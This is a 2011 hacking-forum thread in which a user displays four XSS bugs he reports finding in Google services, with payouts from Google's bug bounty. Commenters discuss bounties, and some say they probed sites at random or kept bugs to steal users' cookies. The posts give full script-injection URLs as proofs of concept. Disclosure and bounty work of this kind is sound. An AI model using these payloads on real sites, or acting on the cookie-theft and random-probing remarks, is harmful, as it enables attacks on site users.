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Thread: [4 XSS] Google + Hall of Fame + $3000 [UPDATED 06/02/12]

elvinguitar - December 14, 2011, 8:20 pm
Google Image XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Google XSS.jpg[/IMG]

Link:

Code
www.google.com/search?q=google&hl=en&gbv=2&biw=1024&bih=664&noj=1&tbs=isz:ex,iszw:"><s
cript>alert("XSS by elvin") ;</script>,iszh:"><script>alert("XSS by elvin")
;</script>&tbm=isch&source=Int&sa=X&ei=9NSxTpLhEIGaiQfDrsDLAg&ved=0CBIQpwUoBQ
Status: Fixed

Reward: $500
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GooglelmageEmail.jpg[/IMG]

Google Fusion Table XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableXSS.jpg[/IMG]

Link:

Code www.google.com/fusiontables/DataSource?dsrcid=2257355"><script>alert("XSS by
elvinguitar") ;</script>

Status: Fixed

Reward: $1000
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableEmail.jpg[/IMG]

Google Voice XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleVoicel.jpg[/IMG]

Link:

Code
https://www.google.com/voice/rates?p=%27%29;alert%28%22XSS%20by%?20elvinguitar%22%29%
20;%3C/script%3E

Status: Fixed

Reward: $1000
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-1.jpg[/IMG]
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Google Search XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/ph.jpg[/IMG]

Link:

Code
http://www.google.com.ph/support/jobs/bin/search.py?ctx=en%3Asearchbox&query=%3C%00script
%3E%3Cscript%3Ealert%28%22XSS%20by%20elvinguitar%22%29%3C/script%3E

Status: Fixed

Reward: $500
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-2.jpg[/IMG]

Hall of Fame:
http://www.gooqgle.com/about/corporate/company/halloffame.html

| just want to show my achievements that's why this thread was created. No flaming. ?
Sorry for the very late upload in Google Search XSS. Hehe. ?

The lon - December 14, 2011, 8:22 pm
awesome dude keep it up and enjoy the money

Kompleet - December 14, 2011, 8:22 pm
Holy crap, you're rich. xD

Anyways, nice finds! Congrats.

~IWhite!~ - December 14, 2011, 8:23 pm
Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total

Mr.Cube - December 14, 2011, 8:23 pm
Are you shitting me your a damn god never seen anyone find 2 exploits before!:)

elvinguitar - December 14, 2011, 8:24 pm

(Dec 14, 2011 09:22 PM)connection terminated Wrote: [CITE] awesome dude keep it up and enjoy
the money

thanks mate! ? Belmin Vehabovic (~!White!~) has more Google XSS than me. I'm sure he has
earned a lot. By the way, | still have one XSS and google security team is now fixing it. ?

The lon - December 14, 2011, 8:25 pm

(Dec 14, 2011 09:24 PM)elvinguitar Wrote: [CITE] thanks mate! ? Belmin Vehabovic (~!White!~) has
more Google XSS than me. I'm sure he has earned a lot. By the way, | still have one XSS and
google security team is now fixing it. ?

very nice then enjoy your day and fame

elvinguitar - December 14, 2011, 8:25 pm

(Dec 14, 2011 09:23 PM)~!White!~ Wrote: [CITE] Good job with the Xss im on the hall of fame to :)
i'm getting $3,000 from Google in total

I know you'll earn more than me mate! ? By the way, I'm always looking at your twitter page and I'm
always want to keep updated of the xss you've found.
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1n54n3 - December 15, 2011, 12:05 am
Awesome find and rewards mate.
Im Jelly !

EIP - December 15, 2011, 12:10 am

(Dec 14, 2011 09:25 PM)elvinguitar Wrote: [CITE] | know you'll earn more than me mate! ? By the
way, I'm always looking at your twitter page and I'm always want to keep updated of the xss you've
found.

Ah great... !l

This is why hacker are problem solver. And defacer are lam lol.

elvinguitar - December 15, 2011, 1:46 am

(Dec 15, 2011 01:05 AM)1n54n3 Wrote: [CITE] Awesome find and rewards mate.

Im Jelly !

Thanks you mate. ? maybe you're jelly at this point in time. but if you will now start looking for xss,
maybe you'll earn more than me. ?

(Dec 15, 2011 01:10 AM)EIP Wrote: [CITE] Ah great... !!!
This is why hacker are problem solver. And defacer are lam lol.
Honestly, i'm quite jelly to ~'White!~ because he always find xss on big companies. and every time

he tweeted a new xss, i have this in mind "I needed to work hard and find one also." ?

adampelletgun - December 15, 2011, 2:25 am
Wow nice finds man i hope i find big ones like this :D

Keep it up )

Research - December 15, 2011, 2:41 am
nice work buddy ;) good luck with your next finding :)

elvinguitar - December 15, 2011, 2:43 am
thanks to both of you guys. ? as of now, it's really difficult to find new xss in google. But wish me
luck. ;)

Techie??? - December 15, 2011, 3:26 am
Nice work.

Some told me that the main search is not vulnerable. ?

elvinguitar - December 15, 2011, 3:41 am
(Dec 15, 2011 04:26 AM)Techie. Wrote: [CITE] Nice work.

Some told me that the main search is not vulnerable. ?
Thanks mate! ?

By the way, only "some" told you but not "all" ?

See this mate; http://www.nilsjuenemann.de/2011/11/xss-on-googlecom.html
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Alienguy - December 15, 2011, 4:35 am

Cool man . Enjoy.

Can you explain the first one to me over PM ?
And good luck finding a few more .

CR33T3N - December 15, 2011, 4:55 am

Good job on those.

But just out of curiosity , did google actually paid you yet?

And did you ask for paymet or did google just said that they will pay you?

Crypter® - December 15, 2011, 5:31 am
Wow you are good in XSS and earn a lot of $$

elvinguitar - December 15, 2011, 5:51 am

(Dec 15, 2011 05:35 AM)Alienguy Wrote: [CITE] Cool man . Enjoy.

Can you explain the first one to me over PM ?

And good luck finding a few more .No need to explain about this one mate since the link is already
given. ?

(Dec 15, 2011 05:55 AM)CR33T3N Wrote: [CITE] Good job on those.

But just out of curiosity , did google actually paid you yet?

And did you ask for paymet or did google just said that they will pay you?Honestly, i still don't have
the money yet because it took 4-6 weeks before they release the money. Also, they are having a
problem with my case because | used a different supplier name, it's because | don't have a bank
account so | need to use my father's.

The last email i've received about the reward is that i will be able to get it on january. ?

BeggFoMercy - December 15, 2011, 8:51 am
Nice damn great find lol how lucky are you xD

Mr.Lazy - December 15, 2011, 9:57 am
hey man i would like to become pro as you..how can i learn XSS??

elvinguitar - December 15, 2011, 2:53 pm
(Dec 15, 2011 09:51 AM)BeggFoMercy Wrote: [CITE] Nice damn great find lol how lucky are you xD
thanks mate. :) maybe i'm really lucky because today, i've found an xss in mozilla. ?

(Dec 15, 2011 10:57 AM)Mr.Lazy Wrote: [CITE] hey man i would like to become pro as you..how can
i learn XSS??

the best way to learn XSS is first to read articles regarding it and then practicing. ? also, don't forget
that it really takes time to find xss on big companies so you need to be patient.

~IWhite!~ - December 15, 2011, 2:59 pm

| was just wondering Google is weird with the way they award. | found a DOM-Based Xss vuln on
Chrome and got $500 for it, but i found a Xss vuln on Accounts.google.com that was a Self-Xss but
got $1000

elvinguitar - December 15, 2011, 3:27 pm

(Dec 15, 2011 03:59 PM)~!White!~ Wrote: [CITE] | was just wondering Google is weird with the way
they award. | found a DOM-Based Xss vuln on Chrome and got $500 for it, but i found a Xss vuln on
Accounts.google.com that was a Self-Xss but got $1000

| totally agree with you mate. The XSS I've found in fusion tables, which is in beta stage, worth
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$1000. While the XSS in google image, worh only $500. Maybe they have their own ways of
determining how much will it be. ?

By the way, check my PM to you mate.

Oxy - December 15, 2011, 3:29 pm
Verry nice work there !!
do you mail them are is there a specified service for this on google?

elvinguitar - December 15, 2011, 3:35 pm

(Dec 15, 2011 04:29 PM)Real Steel Wrote: [CITE] Verry nice work there !!

do you mail them are is there a specified service for this on google?

Yeah! Every time | have a new XSS, | just sent an email to security@google.com

tmac13013 - December 15, 2011, 5:17 pm
this is very interesting...thanks for sharing

RedBlade - December 15, 2011, 6:43 pm
Awesome job! Keep up that xss work ;)

elvinguitar - December 15, 2011, 7:08 pm

(Dec 15, 2011 06:17 PM)tmac13013 Wrote: [CITE] this is very interesting...thanks for sharing
(Dec 15, 2011 07:43 PM)RedBlade Wrote: [CITE] Awesome job! Keep up that xss work ;)
Thanks to both of you guys! ? I'm now starting finding new xss vulnerabilities. Wish me luck! ?

~IWhite!~ - December 15, 2011, 7:40 pm

(Dec 15, 2011 08:08 PM)elvinguitar Wrote: [CITE] Thanks to both of you guys! ? I'm now starting
finding new xss vulnerabilities. Wish me luck! ?

Good luck on finding more more vuins :) hope you find some.

elvinguitar - December 15, 2011, 7:48 pm

(Dec 15, 2011 08:40 PM)~!White!~ Wrote: [CITE] Good luck on finding more more vulns :) hope you
find some.

thanks there bro! ? I'm sure you're now also looking for vulns. ? good luck to both of us! ?

~IWhite!~ - December 15, 2011, 7:55 pm

(Dec 15, 2011 08:48 PM)elvinguitar Wrote: [CITE] thanks there bro! ? I'm sure you're now also
looking for vulns. ? good luck to both of us! ?

Yes i'm always looking for vulns, i found one about 15 mins ago, but it's a self-xss so no reward.

Silkie - December 15, 2011, 7:58 pm
Very inspiring man, nice one keep it up! :)

elvinguitar - December 15, 2011, 7:59 pm

(Dec 15, 2011 08:55 PM)~!White!~ Wrote: [CITE] Yes i'm always looking for vulns, i found one about
15 mins ago, but it's a self-xss so no reward.

Is that vuln on google? good find there mate! :) i still can't find a vuln on facebook. :(

~IWhite!~ - December 15, 2011, 8:00 pm

(Dec 15, 2011 08:59 PM)elvinguitar Wrote: [CITE] Is that vuln on google? good find there mate! :) i
still can't find a vuln on facebook. :(

Yait's on Google, Ty :) just keep trying and you will find one on Facebook it took me a long time.
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elvinguitar - December 15, 2011, 8:02 pm

(Dec 15, 2011 09:00 PM)~!White!~ Wrote: [CITE] Ya it's on Google, Ty :) just keep trying and you will
find one on Facebook it took me a long time.

thanks for that bro! ? I'll try hard to find xss on facebook.

??¢??7? - December 15, 2011, 8:12 pm
Congrats , we are there together now :)

elvinguitar - December 15, 2011, 8:14 pm

(Dec 15, 2011 09:12 PM)??¢??? Wrote: [CITE] Congrats , we are there together now :)

thanks bro! :) yeah! we're now together in google. but we're still not together in facebook, apple and
microsoft. i'm now waiting for my 3 xss report in microsoft. :)

~IWhite!~ - December 15, 2011, 8:15 pm
You should find some on Mozilla.org they also reward for vulnerabilities.

Pillows - December 15, 2011, 8:17 pm

(Dec 15, 2011 09:15 PM)~IWhite!~ Wrote: [CITE] You should find some on Mozilla.org they also
reward for vulnerabilities.

Wow | didn't know that. Now | have one more site on list to find XSS on.

elvinguitar - December 15, 2011, 8:19 pm

(Dec 15, 2011 09:15 PM)~!'White!~ Wrote: [CITE] You should find some on Mozilla.org they also
reward for vulnerabilities.

| already found one mate, but | don't think it's qualified in their bug bounty program.

Entitled - December 15, 2011, 9:32 pm
I've found another vuln how do | get reward from them?

elvinguitar - December 15, 2011, 9:38 pm

(Dec 15, 2011 10:32 PM)Entitled Wrote: [CITE] I've found another vuln how do | get reward from
them?

Is that on google? If yes, email them at security@google.com

FlerceX - December 15, 2011, 10:33 pm
im proud of this guy. he's a filipino by the way. co-philker member

dennomination - December 15, 2011, 10:35 pm
philkers that hacked ovp site on the ph im phil too hes nice huh

elvinguitar - December 15, 2011, 10:46 pm
(Dec 15, 2011 11:33 PM)Falken Wrote: [CITE] im proud of this guy. he's a filipino by the way.
co-philker member

Yow co-philker! ? honestly, i'm not really active anymore in philker. but i'm still proud to be a philker.
?

By the way, how's philker bro?

(Dec 15, 2011 11:35 PM)dennomination Wrote: [CITE] philkers that hacked ovp site on the ph im
phil too hes nice huhAgree! ? but i'm not yet a philker member when they defaced it. :)

FlerceX - December 15, 2011, 10:49 pm
bro add me on msn. diannecats@hotmail.co.uk
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madami ako kwento sau. LOL

olmetec - December 15, 2011, 11:59 pm
Excellent work there young man. ?

Wheelz - December 16, 2011, 12:01 am
Good Job Man, | hear Facebook pays like $500 for each vulnerability too.

elvinguitar - December 16, 2011, 12:39 am
(Dec 15, 2011 11:49 PM)Falken Wrote: [CITE] bro add me on msn. diannecats@hotmail.co.uk

madami ako kwento sau. LOL
| don't have msn bro. sorry. :(

(Dec 16, 2011 12:59 AM)olmetec Wrote: [CITE] Excellent work there young man. ?
Thanks there mate! :)

(Dec 16, 2011 01:01 AM)Wheelz Wrote: [CITE] Good Job Man, | hear Facebook pays like $500 for
each vulnerability too.Yeah! | know about it. But unfortunately, i still can't find xss on facebook. :(

gaccount - December 16, 2011, 1:51 am
Nice find mate, even i found a vulnerability in google but they said its not eligible for a reward

elvinguitar - December 16, 2011, 1:59 am

(Dec 16, 2011 02:51 AM)gaccount Wrote: [CITE] Nice find mate, even i found a vulnerability in
google but they said its not eligible for a reward

Is that the one you posted on google code? It's really not eligible for the reward since it's only
google sandbox.

By the way, I'm so lucky today. I've found another XSS on google about 30 mins ago. :)

xviiirus - December 16, 2011, 3:05 am
awesome bro, ill give a try finding one too

(Dec 16, 2011 02:59 AM)elvinguitar Wrote: [CITE] Is that the one you posted on google code? It's
really not eligible for the reward since it's only google sandbox.

By the way, I'm so lucky today. I've found another XSS on google about 30 mins ago. :)
Do you find them using your regular IP like would they log my ip if i tried anything like this ?

saintcracker - December 16, 2011, 3:58 am
bro thats totally awesome, congrats man, keep up the good work :)

elvinguitar - December 16, 2011, 4:26 am
(Dec 16, 2011 04:05 AM)xviiirus Wrote: [CITE] awesome bro, ill give a try finding one too

Do you find them using your regular IP like would they log my ip if i tried anything like this ?
Yeah! I'm just using a regular IP when finding them. ? | think google automatically logs your IP. But i
don't think they will hunt you down. ?

(Dec 16, 2011 04:58 AM)saintcracker Wrote: [CITE] bro thats totally awesome, congrats man, keep
up the good work :)
thanks there mate! ? I'm waiting for google's reply about my new report. ?
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ghsama - December 16, 2011, 4:33 am

that's niiice !

How could | find xss n webs Please
could u explain how you find them ?

randomize - December 16, 2011, 4:33 am
@elvinguitar
Gj:D

| have found two or three XSS vulns in google maybe a year ago but | keept it for myself stealing
cookies from noobs at the time :D but now Im busting my ass off trying to find .txt documet | saved
the links :D LOL

So just an email to security@google is enoug or where is the form for reporting the vuln to google?

gaccount - December 16, 2011, 4:41 am
(Dec 16, 2011 02:59 AM)elvinguitar Wrote: [CITE] Is that the one you posted on google code? It's
really not eligible for the reward since it's only google sandbox.

By the way, I'm so lucky today. I've found another XSS on google about 30 mins ago. :)
Yeah, and do you use any tool or something else to find vulnerabilities

elvinguitar - December 16, 2011, 4:42 am

(Dec 16, 2011 05:33 AM)ghsama Wrote: [CITE] that's niiice !

How could I find xss n webs Please

could u explain how you find them ?The very first thing you need to do is surf the web about xss
tutorials. ? that will help you a lot!

(Dec 16, 2011 05:33 AM)randomize Wrote: [CITE] @elvinguitar
Gj:D

I have found two or three XSS vulns in google maybe a year ago but | keept it for myself stealing
cookies from noobs at the time :D but now Im busting my ass off trying to find .txt documet | saved
the links :D LOL

So just an email to security@google is enoug or where is the form for reporting the vuln to google?
"a year ago"?? C'mon!! Is this a JOKE??!! If it's a year ago, I'm sure google has already fixed it
because there are lot of people looking for xss on google. ?

If what you've said is true, report them now to google and then show us your xss.

(Dec 16, 2011 05:41 AM)gaccount Wrote: [CITE] Yeah, and do you use any tool or something else
to find vulnerabilities

yes! I'm using a tool. It's brain.dll. ?

saintcracker - December 16, 2011, 4:57 am
Quote:thanks there mate! :Smile: I'm waiting for google's reply about my new report. :Victoire:

Wow, another one? ? That's even better man ?, please share it once they fix it, would definitely
wanna check it out.. ?

Sad_Angel - December 16, 2011, 5:33 am
Congo, you are goin great bro :)
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Keep up the good work..

elvinguitar - December 16, 2011, 3:39 pm

(Dec 16, 2011 05:57 AM)saintcracker Wrote: [CITE] Wow, another one? ? That's even better man ?,
please share it once they fix it, would definitely wanna check it out.. ?

Of course! | will share all my google xss in the public once they fixed it. ?

By the way, | already received an email from Google telling me that they already filed a bug report
about the xss i've found yesteday. So lucky i am! ?

(Dec 16, 2011 06:33 AM)Sad_Angel Wrote: [CITE] Congo, you are goin great bro :)

Keep up the good work..
Thanks there mate! I'm going to find more. ?

marcbob - December 16, 2011, 4:36 pm
Holy shit $1500. That's amazing. Not gonna lie | spent the last 10 minutes going through random
pages adding "><script>alert("XSS by marcbob") ;</script> to the end of the url haha

appleupd - December 16, 2011, 4:43 pm
sounds good will try it later on today or tomorrow

Halo4life090 - December 16, 2011, 5:32 pm
Wow, just wow.
Congratulations on the find, dude!

elvinguitar - December 16, 2011, 7:20 pm

(Dec 16, 2011 05:36 PM)marcbob Wrote: [CITE] Holy shit $1500. That's amazing. Not gonna lie |
spent the last 10 minutes going through random pages adding "><script>alert("XSS by marcbob")
;</script> to the end of the url haha

Thanks mate! ? anyway, good luck on finding xss vulnerabilities. try finding in google also. :)

(Dec 16, 2011 05:43 PM)appleupd Wrote: [CITE] sounds good will try it later on today or tomorrow
Good luck there bro! Just be patient when finding vulnerabilities.

(Dec 16, 2011 06:32 PM)Halo4life090 Wrote: [CITE] Wow, just wow.
Congratulations on the find, dude!
Thanks bro! ?

dios - December 16, 2011, 10:54 pm

wow , what are you doing is very cool mate , | wish | found one , only one :D not just for the money,
it have's to be very cool finding one and people reward you for that. Now | will try to give more time
to learn about XSS :D

noober1001 - December 17, 2011, 12:12 am
Enjoy the money and fame..

I wish | could do that also.

Great job bro.

BTW, how much time it took to find these vulnerabilities by you???

rO0tdabOx - December 17, 2011, 1:50 am
nice find man!!! :)) keep going on =)
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elvinguitar - December 17, 2011, 4:25 am

(Dec 16, 2011 11:54 PM)dios Wrote: [CITE] wow , what are you doing is very cool mate , | wish |
found one , only one :D not just for the money, it have's to be very cool finding one and people
reward you for that. Now | will try to give more time to learn about XSS :D

thanks bro! ? i totally agree with you. it's really nice to find vulns then people reward you for your
hardwork. what's the nicest of all is that your name will be included in the HoF. ?

by the way, good luck on finding xss bro.

(Dec 17, 2011 01:12 AM)noober1001 Wrote: [CITE] Enjoy the money and fame..
| wish | could do that also.
Great job bro.

BTW, how much time it took to find these vulnerabilities by you???All of us can do it bro. ?we just
need to be patient and have passion on what we are doing. ?

About your question, it took me an average of 9 hrs/day of crawling google just to find one xss.

(Dec 17, 2011 02:50 AM)rootdab0Ox Wrote: [CITE] nice find man!!! :)) keep going on =)
thanks bro! my two other xss is already on the process. ?

mov.22 - December 17, 2011, 1:25 pm
good job dude i hope one day i find xss any website. the google xss for me it is dream

elvinguitar - December 17, 2011, 3:46 pm

(Dec 17, 2011 02:25 PM)mov.22 Wrote: [CITE] good job dude i hope one day i find xss any website.
the google xss for me it is dreamGoogle XSS is not a dream bro. You just really need to be very
patient and be very hardworking for you to achieve it. ?

xviiirus - December 20, 2011, 11:37 am
You gotta share your last XSS if it got fixed yet, i wanna see where are most XSSes located

ajjt - December 20, 2011, 12:20 pm
[quote='elvinguitar' pid='18185152' dateline='1323922854"]
Google Image XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleXSS.jpg[/IMG]

What is that for website (not google) the one that is called XSS (Cross Site Scripting)
Can i get url for that website?

~IWhite!~ - December 20, 2011, 12:29 pm
@ajjt

are you talking about the site at the top right hand corner if so it's

http://ha.ckers.org/xss.html

ajjt - December 20, 2011, 12:35 pm
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(Dec 20, 2011 01:29 PM)~!White!~ Wrote: [CITE] @ajjt
are you talking about the site at the top right hand corner if so it's

http://ha.ckers.org/xss.html
ty White.

Where do you get your string from, White?

elvinguitar - December 20, 2011, 3:33 pm
(Dec 20, 2011 01:35 PM)ajjt Wrote: [CITE] ty White.

Where do you get your string from, White?
Try also searching pastebin for more xss code that you can use. ?

DrBeats - December 20, 2011, 4:36 pm
Hmm the money has got me interested lol :p
they send a cheque or PayPal?

i95swervin - December 20, 2011, 6:46 pm
great XSS discoveries bro .. keep that shit up

Greyersting - December 20, 2011, 8:59 pm

(Dec 17, 2011 05:25 AM)elvinguitar Wrote: [CITE] thanks bro! ? i totally agree with you. it's really nice
to find vulns then people reward you for your hardwork. what's the nicest of all is that your name will
be included in the HoF. ?

by the way, good luck on finding xss bro.
All of us can do it bro. ?we just need to be patient and have passion on what we are doing. ?
About your question, it took me an average of 15 hrs/day of crawling google just to find one xss.

thanks bro! my two other xss is already on the process. ?
Just a question, where you doing the crawling manually?

Isolate - December 21, 2011, 12:08 am
Oh wow nice job man i wish i was in your shoes!

elvinguitar - December 21, 2011, 2:57 am

(Dec 20, 2011 05:36 PM)DrBeats Wrote: [CITE] Hmm the money has got me interested lol :p
they send a cheque or PayPal?

Google will send the money through bank transfer. ?

(Dec 20, 2011 09:59 PM)Elder Scrolls Wrote: [CITE] Just a question, where you doing the crawling
manually?
Yup! ? I'm doing it manually. ? using tools is not advisable.

(Dec 20, 2011 07:46 PM)Repent Wrote: [CITE] great XSS discoveries bro .. keep that shit up

(Dec 21, 2011 01:08 AM)Desperation Wrote: [CITE] Oh wow nice job man i wish i was in your
shoes!

(Dec 21, 2011 03:07 AM)PyScHo.HacKer Wrote: [CITE] Good Job..
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shortmsgisshotiknow35chars..
Thank you guys! ? I'm so unlucky this week because 1 still don't have new xss on google. :(

lolaluO - December 21, 2011, 2:58 am
good job
Your twitter? :D

easyer to follow the good ones. :p
if u want to..

elvinguitar - December 21, 2011, 3:09 am

(Dec 21, 2011 03:58 AM)lolalu0 Wrote: [CITE] good job
Your twitter? :D

easyer to follow the good ones. :p

if u want to..sorry bro. but I don't have twitter account. :(

PyScHo.HacKer - December 21, 2011, 8:53 am

(Dec 21, 2011 04:09 AM)elvinguitar Wrote: [CITE] sorry bro. but | don't have twitter account. :(
My MSN: h4cker.leet@live.com

Add me ?

Un4L145 - December 21, 2011, 12:13 pm
you're amazing mate

good job

enjoy with your money, i think you can get more
maybe, i need to learn with you

?7?

ajjt - December 21, 2011, 12:24 pm
Does google pay on Paypal (can you chooise it)

elvinguitar - December 21, 2011, 2:59 pm
(Dec 21, 2011 09:53 AM)PyScHo.HacKer Wrote: [CITE] My MSN: h4cker.leet@live.com

Add me ?
Sorry mate, | also don't have MSN. :(

(Dec 21, 2011 01:13 PM)Un4L145 Wrote: [CITE] you're amazing mate
good job
enjoy with your money, i think you can get more

maybe, i need to learn with you

??
Thanks mate! :) I'm so unlucky today because I still don't have xss ong google. :(
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(Dec 21, 2011 01:24 PM)ajjt Wrote: [CITE] Does google pay on Paypal (can you chooise it)
Nope! They pay through bank transfer. ?

DrBeats - December 21, 2011, 3:04 pm

You've inspired me to find an xss lol :P

i've learnt so much about xss now just need patience lol i get frustrated after about 50mins of
looking for one on google

can you give me any tips ?

elvinguitar - December 21, 2011, 3:23 pm

(Dec 21, 2011 04:04 PM)DrBeats Wrote: [CITE] You've inspired me to find an xss lol :P

i've learnt so much about xss now just need patience lol i get frustrated after about 50mins of
looking for one on google

can you give me any tips ?That only tip | can give you is "Be patient!"

That's all mate. ?

By the way, | have updated my thread with the new XSS. :)

DrBeats - December 21, 2011, 3:30 pm

(Dec 21, 2011 04:23 PM)elvinguitar Wrote: [CITE] That only tip | can give you is "Be patient!"

That's all mate. ?

By the way, | have updated my thread with the new XSS. :)
you make me mad lol

sooo jelly
well done man hopefully i can get one

elvinguitar - December 21, 2011, 3:37 pm
(Dec 21, 2011 04:30 PM)DrBeats Wrote: [CITE] you make me mad lol

s000 jelly

well done man hopefully i can get oneHehehe. ? Good luck on finding one bro! :)

~IWhite!~ - December 21, 2011, 3:47 pm

Good job Elvin i saw your new Xss keep up the good work :)

elvinguitar - December 21, 2011, 4:12 pm

(Dec 21, 2011 04:47 PM)~!White!~ Wrote: [CITE] Good job Elvin i saw your new Xss keep up the
good work :)

Thanks bro! My XSS un Google Analytics is not eligible for the reward because it's a self XSS.

By the way, | also heard that you have new xss in apple. You're still better than me bro! ?
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~IWhite!~ - December 21, 2011, 4:35 pm
(Dec 21, 2011 05:12 PM)elvinguitar Wrote: [CITE] Thanks bro! My XSS un Google Analytics is not
eligible for the reward because it's a self XSS.

By the way, | also heard that you have new xss in apple. You're still better than me bro! ?
I got lucky with the Xss on apple i was just bored and found it.

Also i just got put on Facebook HoF http://www.facebook.com/whitehat :)

elvinguitar - December 21, 2011, 4:39 pm
(Dec 21, 2011 05:35 PM)~!White!~ Wrote: [CITE] | got lucky with the Xss on apple i was just bored
and found it.

Also i just got put on Facebook HoF http://www.facebook.com/whitehat :)
You're a legend man! ? | envy you for being on FB's HoF. By the way, why you and Cim Stordal's
name are together? Did the two of you found that vulnerability?

~IWhite!~ - December 21, 2011, 4:41 pm

(Dec 21, 2011 05:39 PM)elvinguitar Wrote: [CITE] You're a legend man! ? | envy you for being on
FB's HoF. By the way, why you and Cim Stordal's name are together? Did the two of you found that
vulnerability?

He asked if he could be on with me so i told Facebook he was my partner.

elvinguitar - December 21, 2011, 4:43 pm

(Dec 21, 2011 05:41 PM)~!White!~ Wrote: [CITE] He asked if he could be on with me so i told
Facebook he was my partner.

May | know the reason why he wants to be with you on FB?

~IWhite!~ - December 21, 2011, 4:44 pm

(Dec 21, 2011 05:43 PM)elvinguitar Wrote: [CITE] May | know the reason why he wants to be with
you on FB?

He just kept asking and it got annoying so i just got tired of his whining so i just lied and said he was
my partner i really don't know why i said it.

elvinguitar - December 21, 2011, 4:46 pm

(Dec 21, 2011 05:44 PM)~!White!~ Wrote: [CITE] He just kept asking and it got annoying so i just got
tired of his whining so i just lied and said he was my partner i really don't know why i said it.
Hehehehe. Is he really good? He's also with ??¢??? on Google and Microsoft HoF, right? did he
also ask for it? Hehehe. ?

~IWhite!~ - December 21, 2011, 4:50 pm

(Dec 21, 2011 05:46 PM)elvinguitar Wrote: [CITE] Hehehehe. Is he really good? He's also with
??¢??? on Google and Microsoft HoF, right? did he also ask for it? Hehehe. ?

idk if he is good but all i know is im hopefully going to be on all 5.

im on Google,Facebook, and Microsoft

i reported 4 Xss vulns to Twitter so i might be on their Security page

and i reported 1 to Apple.


https://hackforums.net/showthread.php?pid=18379141#pid18379141
http://www.facebook.com/whitehat
https://hackforums.net/showthread.php?pid=18379883#pid18379883
http://www.facebook.com/whitehat
https://hackforums.net/showthread.php?pid=18379996#pid18379996
https://hackforums.net/showthread.php?pid=18380053#pid18380053
https://hackforums.net/showthread.php?pid=18380157#pid18380157
https://hackforums.net/showthread.php?pid=18380189#pid18380189
https://hackforums.net/showthread.php?pid=18380223#pid18380223

elvinguitar - December 21, 2011, 4:51 pm
(Dec 21, 2011 05:50 PM)~!White!~ Wrote: [CITE] idk if he is good but all i know is im hopefully going
to be on all 5.

im on Google,Facebook, and Microsoft
i reported 4 Xss vulns to Twitter so i might be on their Security page

and i reported 1 to Apple.
You are GOD bro! Congrats!!! ? ? | really envy you for that.

By the way, | already have 3 XSS reports on microsoft but they are still not updating me regarding
the reports. Microsoft Security Team is not communicating well with the reporters compared to
Google Security Team.

DrBeats - December 21, 2011, 4:55 pm
(Dec 21, 2011 05:50 PM)~!White!~ Wrote: [CITE] idk if he is good but all i know is im hopefully going
to be on all 5.

im on Google,Facebook, and Microsoft
i reported 4 Xss vulns to Twitter so i might be on their Security page

and i reported 1 to Apple.
0.0 damn that is awesome man. Can you give a n00b any tips? Would really appreciate it
thanks and good luck with any future finds

Godsmith - December 21, 2011, 5:26 pm
Congratz man. Live long an prosper! Hope to be there one day, it's good to see others who love a
challenge.

biasal99 - December 21, 2011, 10:29 pm
Amazing. Congratz on the moolah. Perhaps you can share some with me? :D

elvinguitar - December 22, 2011, 3:53 am

(Dec 21, 2011 06:26 PM)Theminatar Wrote: [CITE] Congratz man. Live long an prosper! Hope to be
there one day, it's good to see others who love a challenge.

Thanks bro! ? Start looking now for xss on google and I'm sure you'll also be on the HoF. ?

(Dec 21, 2011 11:29 PM)biasal99 Wrote: [CITE] Amazing. Congratz on the moolah. Perhaps you

can share some with me? :D

Thank you bro! ? Hehehe. I'll be using the money to buy gadgets, especially laptop and cellphone.
?

Adnane359 - December 22, 2011, 6:21 am
| envy you, in this moment i would like to be in your place, but that won't happen cuz i'm a nOOb :D

But you deserve it, respect to you (:

raviteja84 - December 22, 2011, 6:46 am
Excellent job man. Really you are awesome!

?,.0¥?5??2dgw ??s???7?*. ? - December 22, 2011, 9:08 am
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Wow you guys are pro, SQLi is pretty much patched and | only know its basics, | don't find XSS
quite powerful but if you spend time finding vulns, you'll get epic results. Nicely done, keep it up! |
wish | was as good as you and others who do it.

Xenops - December 22, 2011, 10:14 am
never knew about that but thanks about that one man

mataty501 - December 22, 2011, 10:25 am
Nice men good job , you try for a long time to descover a faille in google or its a lucky strike :)

MaXoNe - December 22, 2011, 10:28 am
Hey XSS pro's what browser do u use?

h@cp - December 22, 2011, 2:43 pm

LOL... Umh | found the XSS at Google, Microsoft and Apple. | found one at facebook but only got
500% for it and not Hall of fame so white talked to me and wop wop

And not forget a hackforums XSS

elvinguitar - December 22, 2011, 2:59 pm
(Dec 22, 2011 07:46 AM)raviteja84 Wrote: [CITE] Excellent job man. Really you are awesome!thanks
bro! ?

(Dec 22, 2011 10:08 AM)?,.«*?s??2dgw ??s??7?7?*. ? Wrote: [CITE] Wow you guys are pro, SQLi is
pretty much patched and | only know its basics, | don't find XSS quite powerful but if you spend time
finding vulns, you'll get epic results. Nicely done, keep it up! | wish | was as good as you and others
who do it. Thanks bro! ? You can also be in the HoF, you just need to be patient in finding xss. ?

(Dec 22, 2011 11:14 AM)Xenops Wrote: [CITE] never knew about that but thanks about that one
manyou're welcome bro! ?

(Dec 22, 2011 11:25 AM)mataty501 Wrote: [CITE] Nice men good job , you try for a long time to
descover a faille in google or its a lucky strike :)It's not luck mate. It took me an average of 9 hrs/day
just to find one xss. ?

(Dec 22, 2011 11:28 AM)MaXoNe Wrote: [CITE] Hey XSS pro's what browser do u use?I'm just
using firefox bro. ?

(Dec 22, 2011 03:43 PM)h@cp Wrote: [CITE] LOL... Umh | found the XSS at Google, Microsoft and
Apple. | found one at facebook but only got 500$ for it and not Hall of fame so white talked to me
and wop wop
And not forget a hackforums XSSI don't know what you're saying is true or not. White told me that
